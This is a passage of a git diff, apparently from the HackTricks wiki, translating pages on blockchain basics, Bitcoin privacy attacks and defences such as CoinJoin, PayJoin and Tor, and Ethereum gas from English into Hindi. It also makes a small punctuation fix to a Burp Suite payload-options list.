में रुचि रखता है। +- **क्लाइंट-साइड ब्लॉक फ़िल्टरिंग**: यह विधि ब्लॉकचेन में प्रत्येक ब्लॉक के लिए फ़िल्टर बनाने में शामिल होती है, जिससे वॉलेट्स को नेटवर्क पर्यवेक्षकों को विशिष्ट रुचियों को उजागर किए बिना प्रासंगिक लेनदेन की पहचान करने की अनुमति मिलती है। हल्के वॉलेट इन फ़िल्टरों को डाउनलोड करते हैं, केवल तब पूर्ण ब्लॉक लाते हैं जब उपयोगकर्ता के पते के साथ मेल मिलता है। -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **गोपनीयता के लिए टोर का उपयोग करना** -## **Utilizing Tor for Anonymity** +चूंकि बिटकॉइन एक पीयर-टू-पीयर नेटवर्क पर काम करता है, अपने आईपी पते को छिपाने के लिए टोर का उपयोग करने की सिफारिश की जाती है, जिससे नेटवर्क के साथ बातचीत करते समय गोपनीयता बढ़ती है। -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **पते के पुन: उपयोग को रोकना** -## **Preventing Address Reuse** +गोपनीयता की सुरक्षा के लिए, हर लेनदेन के लिए एक नया पता उपयोग करना महत्वपूर्ण है। पते का पुन: उपयोग लेनदेन को एक ही इकाई से जोड़कर गोपनीयता को खतरे में डाल सकता है। आधुनिक वॉलेट अपने डिज़ाइन के माध्यम से पते के पुन: उपयोग को हतोत्साहित करते हैं। -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **लेनदेन की गोपनीयता के लिए रणनीतियाँ** -## **Strategies for Transaction Privacy** +- **कई लेनदेन**: एक भुगतान को कई लेनदेन में विभाजित करना लेनदेन की राशि को अस्पष्ट कर सकता है, गोपनीयता हमलों को विफल कर सकता है। +- **परिवर्तन से बचना**: ऐसे लेनदेन का चयन करना जो परिवर्तन आउटपुट की आवश्यकता नहीं रखते हैं, गोपनीयता को बढ़ाता है क्योंकि यह परिवर्तन पहचान विधियों को बाधित करता है। +- **कई परिवर्तन आउटपुट**: यदि परिवर्तन से बचना संभव नहीं है, तो कई परिवर्तन आउटपुट उत्पन्न करना भी गोपनीयता में सुधार कर सकता है। -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **मोनरो: गोपनीयता का एक प्रकाशस्तंभ** -# **Monero: A Beacon of Anonymity** +मोनरो डिजिटल लेनदेन में पूर्ण गोपनीयता की आवश्यकता को संबोधित करता है, जो गोपनीयता के लिए एक उच्च मानक स्थापित करता है। -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **एथेरियम: गैस और लेनदेन** -# **Ethereum: Gas and Transactions** +## **गैस को समझना** -## **Understanding Gas** +गैस एथेरियम पर संचालन को निष्पादित करने के लिए आवश्यक गणनात्मक प्रयास को मापता है, जिसे **ग्वेई** में मूल्यांकित किया जाता है। उदाहरण के लिए, 2,310,000 ग्वेई (या 0.00231 ETH) की लागत वाला एक लेनदेन गैस सीमा और एक आधार शुल्क शामिल करता है, जिसमें खनिकों को प्रोत्साहित करने के लिए एक टिप होती है। उपयोगकर्ता अधिक भुगतान न करने के लिए अधिकतम शुल्क निर्धारित कर सकते हैं, और अतिरिक्त राशि वापस की जाती है। -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **लेनदेन निष्पादित करना** -## **Executing Transactions** +एथेरियम में लेनदेन में एक प्रेषक और एक प्राप्तकर्ता शामिल होते हैं, जो या तो उपयोगकर्ता या स्मार्ट अनुबंध पते हो सकते हैं। इन्हें एक शुल्क की आवश्यकता होती है और इन्हें खनन किया जाना चाहिए। एक लेनदेन में आवश्यक जानकारी में प्राप्तकर्ता, प्रेषक का हस्ताक्षर, मूल्य, वैकल्पिक डेटा, गैस सीमा, और शुल्क शामिल होते हैं। विशेष रूप से, प्रेषक का पता हस्ताक्षर से निकाला जाता है, जिससे लेनदेन डेटा में इसकी आवश्यकता समाप्त हो जाती है। -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +ये प्रथाएँ और तंत्र उन सभी के लिए मौलिक हैं जो क्रिप्टोक्यूरेंसी के साथ संलग्न होना चाहते हैं जबकि गोपनीयता और सुरक्षा को प्राथमिकता देते हैं। -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## संदर्भ - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/burp-suite.md b/src/burp-suite.md index ffd21e52d..1872e160a 100644 --- a/src/burp-suite.md +++ b/src/burp-suite.md @@ -4,7 +4,7 @@ - **सरल सूची:** बस एक सूची जिसमें प्रत्येक पंक्ति में एक प्रविष्टि होती है - **रनटाइम फ़ाइल:** एक सूची जो रनटाइम में पढ़ी जाती है (मेमोरी में लोड नहीं होती)। बड़ी सूचियों का समर्थन करने के लिए। -- **केस संशोधन:** स्ट्रिंग्स की एक सूची में कुछ परिवर्तन लागू करें (कोई परिवर्तन नहीं, लोअर में, अपर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी को लोअर में-, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी वही रहे-)। +- **केस संशोधन:** स्ट्रिंग्स की एक सूची में कुछ परिवर्तन लागू करें (कोई परिवर्तन नहीं, लोअर में, अपर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी को लोअर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी वही रहे)। - **संख्याएँ:** Z स्टेप का उपयोग करके या यादृच्छिक रूप से X से Y तक संख्याएँ उत्पन्न करें। - **ब्रूट फोर्सर:** कैरेक्टर सेट, न्यूनतम और अधिकतम लंबाई। diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md index 71b79f58f..dc486199b 100644 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ b/src/crypto-and-stego/blockchain-and-crypto-currencies.md @@ -1,180 +1,176 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Concepts +## मूल अवधारणाएँ -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **स्मार्ट कॉन्ट्रैक्ट्स** को उन प्रोग्रामों के रूप में परिभाषित किया जाता है जो एक ब्लॉकचेन पर तब निष्पादित होते हैं जब कुछ शर्तें पूरी होती हैं, मध्यस्थों के बिना समझौतों के निष्पादन को स्वचालित करते हैं। +- **विकेंद्रीकृत अनुप्रयोग (dApps)** स्मार्ट कॉन्ट्रैक्ट्स पर आधारित होते हैं, जिनमें उपयोगकर्ता के अनुकूल फ्रंट-एंड और पारदर्शी, ऑडिट करने योग्य बैक-एंड होता है। +- **टोकन और सिक्के** में अंतर होता है, जहाँ सिक्के डिजिटल पैसे के रूप में कार्य करते हैं, जबकि टोकन विशिष्ट संदर्भों में मूल्य या स्वामित्व का प्रतिनिधित्व करते हैं। +- **यूटिलिटी टोकन** सेवाओं तक पहुँच प्रदान करते हैं, और **सिक्योरिटी टोकन** संपत्ति के स्वामित्व का संकेत देते हैं। +- **DeFi** का अर्थ विकेंद्रीकृत वित्त है, जो केंद्रीय प्राधिकरणों के बिना वित्तीय सेवाएँ प्रदान करता है। +- **DEX** और **DAOs** क्रमशः विकेंद्रीकृत एक्सचेंज प्लेटफार्मों और विकेंद्रीकृत स्वायत्त संगठनों को संदर्भित करते हैं। -## Consensus Mechanisms +## सहमति तंत्र -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +सहमति तंत्र ब्लॉकचेन पर सुरक्षित और सहमति से लेनदेन की मान्यता सुनिश्चित करते हैं: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **प्रूफ ऑफ वर्क (PoW)** लेनदेन की सत्यापन के लिए कंप्यूटेशनल शक्ति पर निर्भर करता है। +- **प्रूफ ऑफ स्टेक (PoS)** सत्यापनकर्ताओं से एक निश्चित मात्रा में टोकन रखने की मांग करता है, जो PoW की तुलना में ऊर्जा की खपत को कम करता है। -## Bitcoin Essentials +## बिटकॉइन आवश्यकताएँ -### Transactions +### लेनदेन -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +बिटकॉइन लेनदेन में पते के बीच धन का हस्तांतरण शामिल होता है। लेनदेन को डिजिटल हस्ताक्षरों के माध्यम से मान्य किया जाता है, यह सुनिश्चित करते हुए कि केवल निजी कुंजी का मालिक ही हस्तांतरण शुरू कर सकता है। -#### Key Components: +#### प्रमुख घटक: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **मल्टीसिग्नेचर लेनदेन** को एक लेनदेन को अधिकृत करने के लिए कई हस्ताक्षरों की आवश्यकता होती है। +- लेनदेन में **इनपुट** (धन का स्रोत), **आउटपुट** (गंतव्य), **शुल्क** (खननकर्ताओं को भुगतान किया गया), और **स्क्रिप्ट** (लेनदेन के नियम) शामिल होते हैं। -### Lightning Network +### लाइटनिंग नेटवर्क -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +बिटकॉइन की स्केलेबिलिटी को बढ़ाने का लक्ष्य है, जिससे एक चैनल के भीतर कई लेनदेन किए जा सकें, केवल अंतिम स्थिति को ब्लॉकचेन पर प्रसारित किया जाए। -## Bitcoin Privacy Concerns +## बिटकॉइन गोपनीयता चिंताएँ -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +गोपनीयता हमले, जैसे **कॉमन इनपुट ओनरशिप** और **UTXO चेंज एड्रेस डिटेक्शन**, लेनदेन के पैटर्न का लाभ उठाते हैं। **मिक्सर्स** और **कोइनजॉइन** जैसी रणनीतियाँ उपयोगकर्ताओं के बीच लेनदेन के लिंक को अस्पष्ट करके गुमनामी में सुधार करती हैं। -## Acquiring Bitcoins Anonymously +## बिटकॉइन को गुमनाम रूप से प्राप्त करना -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +विधियों में नकद व्यापार, खनन, और मिक्सर्स का उपयोग शामिल है। **कोइनजॉइन** कई लेनदेन को मिलाकर ट्रेसबिलिटी को जटिल बनाता है, जबकि **पे-जॉइन** कोइनजॉइन को नियमित लेनदेन के रूप में छिपाता है ताकि गोपनीयता बढ़ सके। -# Bitcoin Privacy Atacks +# बिटकॉइन गोपनीयता हमले -# Summary of Bitcoin Privacy Attacks +# बिटकॉइन गोपनीयता हमलों का सारांश -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +बिटकॉइन की दुनिया में, लेनदेन की गोपनीयता और उपयोगकर्ताओं की गुमनामी अक्सर चिंता का विषय होती है। यहाँ कुछ सामान्य तरीकों का सरल अवलोकन है जिनके माध्यम से हमलावर बिटकॉइन की गोपनीयता को खतरे में डाल सकते हैं। -## **Common Input Ownership Assumption** +## **कॉमन इनपुट ओनरशिप अनुमान** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +यह सामान्यतः दुर्लभ है कि विभिन्न उपयोगकर्ताओं के इनपुट को एक ही लेनदेन में जोड़ा जाए क्योंकि इसमें जटिलता होती है। इसलिए, **एक ही लेनदेन में दो इनपुट पते अक्सर एक ही मालिक के होने का अनुमान लगाया जाता है**। -## **UTXO Change Address Detection** +## **UTXO चेंज एड्रेस डिटेक्शन** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +एक UTXO, या **अनस्पेंट ट्रांजैक्शन आउटपुट**, को एक लेनदेन में पूरी तरह से खर्च किया जाना चाहिए। यदि इसका केवल एक भाग किसी अन्य पते पर भेजा जाता है, तो शेष एक नए चेंज पते पर जाता है। पर्यवेक्षक यह मान सकते हैं कि यह नया पता भेजने वाले का है, जिससे गोपनीयता का उल्लंघन होता है। -### Example +### उदाहरण -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +इससे बचने के लिए, मिक्सिंग सेवाएँ या कई पते का उपयोग स्वामित्व को अस्पष्ट करने में मदद कर सकते हैं। -## **Social Networks & Forums Exposure** +## **सोशल नेटवर्क और फोरम का प्रदर्शन** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +उपयोगकर्ता कभी-कभी अपने बिटकॉइन पते को ऑनलाइन साझा करते हैं, जिससे **पते को उसके मालिक से जोड़ना आसान हो जाता है**। -## **Transaction Graph Analysis** +## **लेनदेन ग्राफ विश्लेषण** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +लेनदेन को ग्राफ के रूप में दृश्य रूप में प्रस्तुत किया जा सकता है, जो उपयोगकर्ताओं के बीच संभावित संबंधों को धन के प्रवाह के आधार पर प्रकट करता है। -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **अनावश्यक इनपुट ह्यूरिस्टिक (ऑप्टिमल चेंज ह्यूरिस्टिक)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +यह ह्यूरिस्टिक कई इनपुट और आउटपुट वाले लेनदेन का विश्लेषण करके अनुमान लगाने पर आधारित है कि कौन सा आउटपुट भेजने वाले को वापस लौटने वाला परिवर्तन है। +### उदाहरण ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +यदि अधिक इनपुट जोड़ने से आउटपुट किसी एकल इनपुट से बड़ा हो जाता है, तो यह ह्यूरिस्टिक को भ्रमित कर सकता है। -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **फोर्स्ड एड्रेस रीयूज** -## **Forced Address Reuse** +हमलावर पहले से उपयोग किए गए पते पर छोटे-छोटे अमाउंट भेज सकते हैं, यह उम्मीद करते हुए कि प्राप्तकर्ता भविष्य के लेनदेन में इन्हें अन्य इनपुट के साथ मिलाएगा, जिससे पते आपस में जुड़े रहेंगे। -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### सही वॉलेट व्यवहार -### Correct Wallet Behavior +वॉलेट को पहले से उपयोग किए गए, खाली पते पर प्राप्त किए गए सिक्कों का उपयोग करने से बचना चाहिए ताकि इस गोपनीयता लीक को रोका जा सके। -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **अन्य ब्लॉकचेन विश्लेषण तकनीकें** -## **Other Blockchain Analysis Techniques** +- **सटीक भुगतान राशि:** बिना परिवर्तन के लेनदेन संभवतः एक ही उपयोगकर्ता के दो पते के बीच होते हैं। +- **गोल नंबर:** लेनदेन में गोल संख्या यह सुझाव देती है कि यह एक भुगतान है, जिसमें गैर-गोल आउटपुट संभवतः परिवर्तन है। +- **वॉलेट फिंगरप्रिंटिंग:** विभिन्न वॉलेट के पास लेनदेन निर्माण के अद्वितीय पैटर्न होते हैं, जिससे विश्लेषकों को उपयोग किए गए सॉफ़्टवेयर और संभावित रूप से परिवर्तन पते की पहचान करने की अनुमति मिलती है। +- **राशि और समय संबंध:** लेनदेन के समय या राशियों का खुलासा लेनदेन को ट्रेस करने योग्य बना सकता है। -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## **ट्रैफिक विश्लेषण** -## **Traffic Analysis** +नेटवर्क ट्रैफिक की निगरानी करके, हमलावर संभावित रूप से लेनदेन या ब्लॉकों को आईपी पते से जोड़ सकते हैं, जिससे उपयोगकर्ता की गोपनीयता से समझौता हो सकता है। यह विशेष रूप से सच है यदि कोई इकाई कई बिटकॉइन नोड्स संचालित करती है, जिससे उनके लेनदेन की निगरानी करने की क्षमता बढ़ जाती है। -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## अधिक -## More +गोपनीयता हमलों और रक्षा के लिए एक व्यापक सूची के लिए, [Bitcoin Wiki पर Bitcoin Privacy](https://en.bitcoin.it/wiki/Privacy) पर जाएं। -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# गुमनाम बिटकॉइन लेनदेन -# Anonymous Bitcoin Transactions +## गुमनाम रूप से बिटकॉइन प्राप्त करने के तरीके -## Ways to Get Bitcoins Anonymously +- **नकद लेनदेन**: नकद के माध्यम से बिटकॉइन प्राप्त करना। +- **नकद विकल्प**: उपहार कार्ड खरीदना और उन्हें ऑनलाइन बिटकॉइन के लिए बदलना। +- **माइनिंग**: बिटकॉइन कमाने का सबसे निजी तरीका माइनिंग है, विशेष रूप से जब इसे अकेले किया जाता है क्योंकि माइनिंग पूल माइनर के आईपी पते को जान सकते हैं। [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **चोरी**: सिद्धांत रूप से, बिटकॉइन चुराना गुमनाम रूप से इसे प्राप्त करने का एक और तरीका हो सकता है, हालांकि यह अवैध है और अनुशंसित नहीं है। -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## मिक्सिंग सेवाएँ -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +मिक्सिंग सेवा का उपयोग करके, एक उपयोगकर्ता **बिटकॉइन भेज सकता है** और **वापस में विभिन्न बिटकॉइन प्राप्त कर सकता है**, जिससे मूल मालिक को ट्रेस करना कठिन हो जाता है। फिर भी, यह सेवा पर भरोसा करने की आवश्यकता होती है कि यह लॉग नहीं रखेगी और वास्तव में बिटकॉइन वापस करेगी। वैकल्पिक मिक्सिंग विकल्पों में बिटकॉइन कैसीनो शामिल हैं। ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin** विभिन्न उपयोगकर्ताओं के कई लेनदेन को एक में मिलाता है, जिससे किसी के लिए इनपुट को आउटपुट से मिलाना जटिल हो जाता है। इसके प्रभावी होने के बावजूद, अद्वितीय इनपुट और आउटपुट आकार वाले लेनदेन को अभी भी संभावित रूप से ट्रेस किया जा सकता है। -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +उदाहरण लेनदेन जो CoinJoin का उपयोग कर सकते हैं उनमें `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` और `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` शामिल हैं। -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +अधिक जानकारी के लिए, [CoinJoin](https://coinjoin.io/en) पर जाएं। एथेरियम पर समान सेवा के लिए, [Tornado Cash](https://tornado.cash) देखें, जो खनिकों के फंड से लेनदेन को गुमनाम बनाता है। ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +CoinJoin का एक रूप, **PayJoin** (या P2EP), दो पक्षों (जैसे, एक ग्राहक और एक व्यापारी) के बीच लेनदेन को एक सामान्य लेनदेन के रूप में छुपाता है, बिना CoinJoin की विशिष्ट समान आउटपुट विशेषता के। यह इसे पहचानना अत्यंत कठिन बनाता है और लेनदेन निगरानी संस्थाओं द्वारा उपयोग की जाने वाली सामान्य-इनपुट-स्वामित्व ह्यूरिस्टिक को अमान्य कर सकता है। ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +उपरोक्त जैसी लेनदेन PayJoin हो सकते हैं, जो गोपनीयता को बढ़ाते हैं जबकि मानक बिटकॉइन लेनदेन से भिन्न नहीं होते। -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**PayJoin का उपयोग पारंपरिक निगरानी विधियों को महत्वपूर्ण रूप से बाधित कर सकता है**, जो लेनदेन की गोपनीयता की खोज में एक आशाजनक विकास है। -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# क्रिप्टोक्यूरेंसी में गोपनीयता के लिए सर्वोत्तम प्रथाएँ -# Best Practices for Privacy in Cryptocurrencies +## **वॉलेट समन्वय तकनीकें** -## **Wallet Synchronization Techniques** +गोपनीयता और सुरक्षा बनाए रखने के लिए, ब्लॉकचेन के साथ वॉलेट का समन्वय करना महत्वपूर्ण है। दो विधियाँ प्रमुख हैं: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **पूर्ण नोड**: पूरे ब्लॉकचेन को डाउनलोड करके, एक पूर्ण नोड अधिकतम गोपनीयता सुनिश्चित करता है। सभी लेनदेन जो कभी किए गए हैं, स्थानीय रूप से संग्रहीत होते हैं, जिससे प्रतिकूलों के लिए यह पहचानना असंभव हो जाता है कि उपयोगकर्ता किस लेनदेन या पते में रुचि रखता है। +- **क्लाइंट-साइड ब्लॉक फ़िल्टरिंग**: यह विधि ब्लॉकचेन में प्रत्येक ब्लॉक के लिए फ़िल्टर बनाने में शामिल होती है, जिससे वॉलेट्स को नेटवर्क पर्यवेक्षकों के लिए विशिष्ट रुचियों को उजागर किए बिना प्रासंगिक लेनदेन की पहचान करने की अनुमति मिलती है। हल्के वॉलेट्स इन फ़िल्टरों को डाउनलोड करते हैं, केवल तब पूर्ण ब्लॉक लाते हैं जब उपयोगकर्ता के पते के साथ मेल मिलता है। -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **गोपनीयता के लिए टोर का उपयोग करना** -## **Utilizing Tor for Anonymity** +चूंकि बिटकॉइन एक पीयर-टू-पीयर नेटवर्क पर काम करता है, अपने आईपी पते को छिपाने के लिए टोर का उपयोग करने की सिफारिश की जाती है, जिससे नेटवर्क के साथ बातचीत करते समय गोपनीयता बढ़ती है। -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **पते के पुन: उपयोग को रोकना** -## **Preventing Address Reuse** +गोपनीयता की सुरक्षा के लिए, हर लेनदेन के लिए एक नया पता उपयोग करना महत्वपूर्ण है। पते का पुन: उपयोग गोपनीयता को खतरे में डाल सकता है क्योंकि यह लेनदेन को एक ही इकाई से जोड़ता है। आधुनिक वॉलेट्स अपने डिज़ाइन के माध्यम से पते के पुन: उपयोग को हतोत्साहित करते हैं। -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **लेनदेन की गोपनीयता के लिए रणनीतियाँ** -## **Strategies for Transaction Privacy** +- **कई लेनदेन**: एक भुगतान को कई लेनदेन में विभाजित करना लेनदेन की राशि को अस्पष्ट कर सकता है, गोपनीयता हमलों को विफल कर सकता है। +- **परिवर्तन से बचना**: ऐसे लेनदेन का चयन करना जो परिवर्तन आउटपुट की आवश्यकता नहीं रखते हैं, गोपनीयता को बढ़ाता है क्योंकि यह परिवर्तन पहचान विधियों को बाधित करता है। +- **कई परिवर्तन आउटपुट**: यदि परिवर्तन से बचना संभव नहीं है, तो कई परिवर्तन आउटपुट उत्पन्न करना भी गोपनीयता में सुधार कर सकता है। -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **मोनरो: एक गोपनीयता का प्रकाशस्तंभ** -# **Monero: A Beacon of Anonymity** +मोनरो डिजिटल लेनदेन में पूर्ण गोपनीयता की आवश्यकता को संबोधित करता है, जो गोपनीयता के लिए एक उच्च मानक स्थापित करता है। -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **एथेरियम: गैस और लेनदेन** -# **Ethereum: Gas and Transactions** +## **गैस को समझना** -## **Understanding Gas** +गैस एथेरियम पर संचालन को निष्पादित करने के लिए आवश्यक गणनात्मक प्रयास को मापता है, जिसे **ग्वेई** में मूल्यांकित किया जाता है। उदाहरण के लिए, 2,310,000 ग्वेई (या 0.00231 ETH) की लागत वाला एक लेनदेन गैस सीमा और एक आधार शुल्क शामिल करता है, जिसमें खनिकों को प्रोत्साहित करने के लिए एक टिप होती है। उपयोगकर्ता अधिक भुगतान न करने के लिए अधिकतम शुल्क निर्धारित कर सकते हैं, और अतिरिक्त राशि वापस की जाती है। -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **लेनदेन निष्पादित करना** -## **Executing Transactions** +एथेरियम में लेनदेन में एक प्रेषक और एक प्राप्तकर्ता शामिल होते हैं, जो या तो उपयोगकर्ता या स्मार्ट अनुबंध पते हो सकते हैं। इन्हें एक शुल्क की आवश्यकता होती है और इन्हें खनन किया जाना चाहिए। लेनदेन में आवश्यक जानकारी में प्राप्तकर्ता, प्रेषक का हस्ताक्षर, मूल्य, वैकल्पिक डेटा, गैस सीमा, और शुल्क शामिल होते हैं। विशेष रूप से, प्रेषक का पता हस्ताक्षर से निकाला जाता है, जिससे लेनदेन डेटा में इसकी आवश्यकता समाप्त हो जाती है। -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +ये प्रथाएँ और तंत्र उन सभी के लिए मौलिक हैं जो गोपनीयता और सुरक्षा को प्राथमिकता देते हुए क्रिप्टोक्यूरेंसी के साथ संलग्न होना चाहते हैं। -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## संदर्भ - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/crypto-and-stego/certificates.md b/src/crypto-and-stego/certificates.md index d0c4ad006..522e722e4 100644 --- a/src/crypto-and-stego/certificates.md +++ b/src/crypto-and-stego/certificates.md @@ -2,46 +2,37 @@ {{#include ../banners/hacktricks-training.md}} -
